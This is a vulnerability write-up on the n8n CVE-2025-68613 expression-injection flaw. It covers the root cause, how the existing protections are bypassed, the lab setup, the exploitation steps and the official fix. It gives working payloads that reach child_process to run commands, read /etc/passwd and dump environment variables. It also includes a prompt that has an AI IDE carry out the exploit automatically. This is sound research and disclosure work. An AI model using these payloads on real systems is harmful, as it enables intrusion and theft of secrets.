Skip to content

WRITING / POSTS

n8n Expression Injection RCE: CVE-2025-68613 Analysis and Reproduction

Analyzes n8n CVE-2025-68613 expression and sandbox behavior, reproduces command execution, and examines the fix's restrictions on this and prototype-property access.

On this page 24 sections

CVE-2025-68613: Analysis and Reproduction of n8n Expression Injection Leading to Remote Code Execution

📋 Overview

n8n is a popular open-source workflow automation platform and a self-hostable alternative to services such as Zapier. In January 2025, several high-severity security vulnerabilities were disclosed in the project. The most serious, CVE-2025-68613, allows an attacker with workflow-editing privileges to execute arbitrary system commands through expression injection.

Vulnerability information

ItemDetails
CVE IDCVE-2025-68613
CVSS score9.9–10.0 (Critical)
Affected versionsn8n < 1.120.4, < 1.121.1, < 1.122.0
Vulnerability typeExpression injection → remote code execution (RCE)
PrerequisiteWorkflow-editing privileges are required
Fixed versionsn8n >= 1.120.4, >= 1.121.1, >= 1.122.0

Project URL: https://github.com/n8n-io/n8n


Vulnerability analysis

Obtaining the source code

First, clone the vulnerable version of n8n:

# 克隆仓库
git clone https://github.com/n8n-io/n8n.git
cd n8n

# 切换到易受攻击版本
git checkout tags/n8n@1.120.0

Core vulnerable code

packages/workflow/src/expression.ts

This method parses and evaluates expressions in n8n workflows (code wrapped in {{ }}).

resolveSimpleParameterValue(
    parameterValue: NodeParameterValue,
    siblingParameters: INodeParameters,
    runExecutionData: IRunExecutionData | null,
    runIndex: number,
    itemIndex: number,
    activeNodeName: string,
    connectionInputData: INodeExecutionData[],
    mode: WorkflowExecuteMode,
    additionalKeys: IWorkflowDataProxyAdditionalKeys,
    executeData?: IExecuteData,
    returnObjectAsString = false,
    selfData = {},
    contextNodeName?: string,
): NodeParameterValue | INodeParameters | NodeParameterValue[] | INodeParameters[] {
    // 检查是否为表达式
    if (!isExpression(parameterValue)) {
        return parameterValue;
    }

    // 移除 = 符号
    parameterValue = parameterValue.substr(1);

    // 创建数据代理 - 构建表达式执行上下文
    const dataProxy = new WorkflowDataProxy(
        this.workflow,
        runExecutionData,
        runIndex,
        itemIndex,
        activeNodeName,
        connectionInputData,
        siblingParameters,
        mode,
        additionalKeys,
        executeData,
        -1,
        selfData,
        contextNodeName,
    );
    const data = dataProxy.getDataProxy();

    // 漏洞点:不安全地暴露 process 对象
    // Support only a subset of process properties
    data.process =
        typeof process !== 'undefined'
            ? {
                    arch: process.arch,
                    env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
                    platform: process.platform,
                    pid: process.pid,
                    ppid: process.ppid,
                    release: process.release,
                    version: process.pid,
                    versions: process.versions,
                }
            : {};

    Expression.initializeGlobalContext(data);

    // 添加表达式扩展
    data.extend = extend;
    data.extendOptional = extendOptional;
    data[sanitizerName] = sanitizer;
    Object.assign(data, extendedFunctions);

    // 构造函数检测(可被绕过)
    const constructorValidation = new RegExp(/\.\s*constructor/gm);
    if (parameterValue.match(constructorValidation)) {
        throw new ExpressionError('Expression contains invalid constructor function call', {
            causeDetailed: 'Constructor override attempt is not allowed due to security concerns',
            runIndex,
            itemIndex,
        });
    }

    // 执行表达式
    const extendedExpression = extendSyntax(parameterValue);
    const returnValue = this.renderExpression(extendedExpression, data);
    
    if (typeof returnValue === 'function') {
        if (returnValue.name === 'DateTime')
            throw new ApplicationError('this is a DateTime, please access its methods');
        throw new ApplicationError('this is a function, please add ()');
    } else if (typeof returnValue === 'string') {
        return returnValue;
    } else if (returnValue !== null && typeof returnValue === 'object') {
        if (returnObjectAsString) {
            return this.convertObjectValueToString(returnValue);
        }
    }

    return returnValue;
}

Root cause

The core issue is the exposure of the process object on lines 68–81:

// CVE-2025-68613 核心漏洞代码
data.process =
    typeof process !== 'undefined'
        ? {
                arch: process.arch,
                env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
                platform: process.platform,
                pid: process.pid,
                ppid: process.ppid,
                release: process.release,
                version: process.pid,
                versions: process.versions,
            }
        : {};

Summary of the issues:

  1. Shallow-copy issue: The code creates a new object containing some properties of process, but the object still retains a prototype-chain reference to the original process object.

  2. Prototype-chain exposure: Although only some properties are exposed, an attacker can access the complete process object through the prototype chain:

    data.process → Object.prototype → process.mainModule → require()
  3. Lack of prototype isolation: Object.create(null) is not used to create an object without a prototype, making prototype-pollution attacks possible.

  4. this context exposure: Using this in an expression provides access to the entire data-context object, including process.

Analysis of existing protections

n8n implements multiple layers of protection in Expression.ts, but all can be bypassed:

Protection 1: Global-object allowlist

// Prevent Remote Code Execution
data.eval = {};
data.uneval = {};
data.setTimeout = {};
data.setInterval = {};
data.Function = {};

// Prevent requests
data.fetch = {};
data.XMLHttpRequest = {};

// Prevent control abstraction
data.Promise = {};
data.Generator = {};
data.AsyncFunction = {};

// Prevent Reflection
data.Reflect = {};
data.Proxy = {};

Access through the this.process.mainModule.require() prototype chain does not trigger blacklist detection.

Protection 2: Constructor detection (lines 93–100)

const constructorValidation = new RegExp(/\.\s*constructor/gm);
if (parameterValue.match(constructorValidation)) {
    throw new ExpressionError('Expression contains invalid constructor function call', {
        causeDetailed: 'Constructor override attempt is not allowed due to security concerns',
    });
}

This is mainly intended to prevent prototype pollution through the .constructor keyword. Using this.process.mainModule.require does not contain the string “constructor” and can bypass the regular-expression check.

Protection 3: Environment-variable access control (disabled by default)

env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env

Protection summary

Protection mechanismBypassableBypass method
Global-object blacklistYesIndirect access through the prototype chain
Constructor detectionYesUse a path that does not contain “constructor”
Environment-variable controlYesmainModule.require() remains accessible

Constructing attack payloads

Basic payload

{{ (function(){ 
    return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString() 
})() }}

Other payload examples

1. Run the whoami command

{{ (function(){ 
    return this.process.mainModule.require('child_process').execSync('whoami').toString() 
})() }}

2. List directory contents

{{ (function(){ 
    return this.process.mainModule.require('child_process').execSync('ls -la /').toString() 
})() }}

3. Read environment variables (to obtain sensitive configuration)

{{ (function(){ 
    return JSON.stringify(this.process.env, null, 2) 
})() }}

4. Read the filesystem (Windows)

{{ (function(){ 
    const fs = this.process.mainModule.require('fs');
    return fs.readFileSync('C:\\Windows\\System32\\drivers\\etc\\hosts', 'utf8');
})() }}

Vulnerability reproduction

Setting up the environment

Method 1: Docker run

# 拉取易受攻击的版本
docker pull n8nio/n8n:1.120.0

# 启动容器
docker run -d \
  --name n8n-vulnerable \
  -p 5678:5678 \
  -e N8N_BASIC_AUTH_ACTIVE=true \
  -e N8N_BASIC_AUTH_USER=admin \
  -e N8N_BASIC_AUTH_PASSWORD=admin123 \
  n8nio/n8n:1.120.0

# 查看日志
docker logs n8n-vulnerable -f

Method 2: Docker Compose

Create docker-compose.yml:

version: '3.8'

services:
  n8n-vulnerable:
    image: n8nio/n8n:1.120.0  # 易受攻击版本
    container_name: cve-2025-68613-n8n
    ports:
      - "5678:5678"
    environment:
      # 基本认证
      - N8N_BASIC_AUTH_ACTIVE=true
      - N8N_BASIC_AUTH_USER=admin
      - N8N_BASIC_AUTH_PASSWORD=admin123
      
      # 服务器配置
      - N8N_HOST=localhost
      - N8N_PORT=5678
      - N8N_PROTOCOL=http
      
      # 执行模式
      - EXECUTIONS_MODE=main
    volumes:
      - n8n_data:/home/node/.n8n
    restart: unless-stopped

volumes:
  n8n_data:

Start the service:

# 启动
docker-compose up -d

# 查看日志
docker-compose logs -f

# 停止
docker-compose down

# 完全清理(删除数据)
docker-compose down -v

Visit: http://localhost:5678

Exploitation steps

Step 1: Log in to n8n

Log in with the credentials we registered:

  • Username: admin@admin.com
  • Password: admin123

n8n login screen

Step 2: Create a workflow

Click “Add workflow” or the “Create workflow” button on the home page to create a new workflow.

Create a workflow

Step 3: Add nodes

The workflow needs two nodes:

  1. Manual Trigger — a manual trigger node

  2. Edit Fields (Set) — a field-setting node (used to inject the payload)

Add nodes

Step 4: Inject the RCE payload

Configure the Edit Fields (Set) node:

  1. Field name (Name): Enter result.
  2. Field value (Value): Click the fx button on the right to switch to expression mode, then enter the following payload:
{{ (function(){ 
    return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString() 
})() }}

Configure the payload

Step 5: Execute the workflow

Click “Test workflow” or “Execute Workflow” in the upper-right corner.

Step 6: Verify the result

After successful execution, the output panel displays the complete contents of the /etc/passwd file:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash

Execution result

✅ Vulnerability reproduced successfully! A system command was executed inside the n8n container, and a sensitive file was read.


Automated reproduction with Antigravity AI

Google’s newly released Antigravity AI IDE has powerful browser-automation capabilities and can use natural-language instructions to complete the entire vulnerability-reproduction process automatically.

Automated reproduction steps

Use the following Antigravity prompt: (this is a mandatory requirement)

With its search capability, Antigravity can actually gather vulnerability information automatically and attempt exploitation.

帮我复现 n8n CVE-2025-68613 漏洞,详细步骤如下:

1. 在浏览器中打开 http://localhost:5678
2. 使用 admin/admin123 登录
3. 创建新工作流
4. 添加 Manual Trigger 节点
5. 添加 Edit Fields (Set) 节点并连接
6. 在 Edit Fields 节点中:
   - 字段名: result
   - 切换到表达式模式
   - 注入 Payload
7. 执行工作流
8. 验证输出结果并截图
9. 生成完整的复现视频

Antigravity will complete the entire process automatically.

Demo video

The complete automated reproduction process has been recorded as a video:

Bilibili video link: n8n CVE-2025-68613 Automated Vulnerability Reproduction Demo

Fix analysis and recommendations

Official fix (v1.122.0)

The official fix uses AST static analysis to prevent access to dangerous prototype-chain properties.

Core fix code

1. Dangerous-property blacklist (packages/workflow/src/utils.ts)

const unsafeObjectProperties = new Set([
    '__proto__',
    'prototype', 
    'constructor',
    'getPrototypeOf'
]);

export function isSafeObjectProperty(property: string) {
    return !unsafeObjectProperties.has(property);
}

2. AST prototype-chain detector (packages/workflow/src/expression-sandboxing.ts)

export const PrototypeSanitizer: ASTAfterHook = (ast, dataNode) => {
    astVisit(ast, {
        visitMemberExpression(path) {
            const node = path.node;
            
            // 检查静态属性: obj.property
            if (!node.computed) {
                if (!isSafeObjectProperty(node.property.name)) {
                    throw new ExpressionError(
                        `Cannot access "${node.property.name}" due to security concerns`
                    );
                }
            }
            // 检查字符串字面量: obj['property']
            else if (node.property.type === 'StringLiteral') {
                if (!isSafeObjectProperty(node.property.value)) {
                    throw new ExpressionError(
                        `Cannot access "${node.property.value}" due to security concerns`
                    );
                }
            }
            // 动态属性包装为运行时检查: obj[expr] → obj[sanitizer(expr)]
            else {
                path.replace(
                    b.memberExpression(node.object, 
                        b.callExpression(sanitizerIdentifier, [node.property]),
                        true
                    )
                );
            }
        },
    });
};

3. Tournament sandbox engine (packages/workflow/src/expression-evaluator-proxy.ts)

const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
    before: [FunctionThisSanitizer],     // 清理 this 绑定(严格模式)
    after: [PrototypeSanitizer, DollarSignValidator]  // 检查危险属性
});

Fix mechanism

  1. FunctionThisSanitizer: Inserts 'use strict' into the IIFE so that this becomes undefined.

  2. PrototypeSanitizer: Traverses the AST before execution and blocks access to prototype-chain properties.

  3. Runtime checks: Wraps dynamic property access in a sanitizer() call.

Why the original payload this.process.mainModule is blocked:

  1. In strict mode, this is undefined.
  2. Even if bypassed, accesses such as prototype/constructor are blocked by AST detection.

Upgrade recommendations

npm update n8n -g
Edit this post

Continue reading

Related posts
Previous post
PsiTransfer DoS Vulnerability Analysis and Reproduction
Next post
OpenCode Vulnerability Reproduction: CVE-2026-22812 Analysis

On this page

SEARCH / QUICK FIND

Search English content

Try searching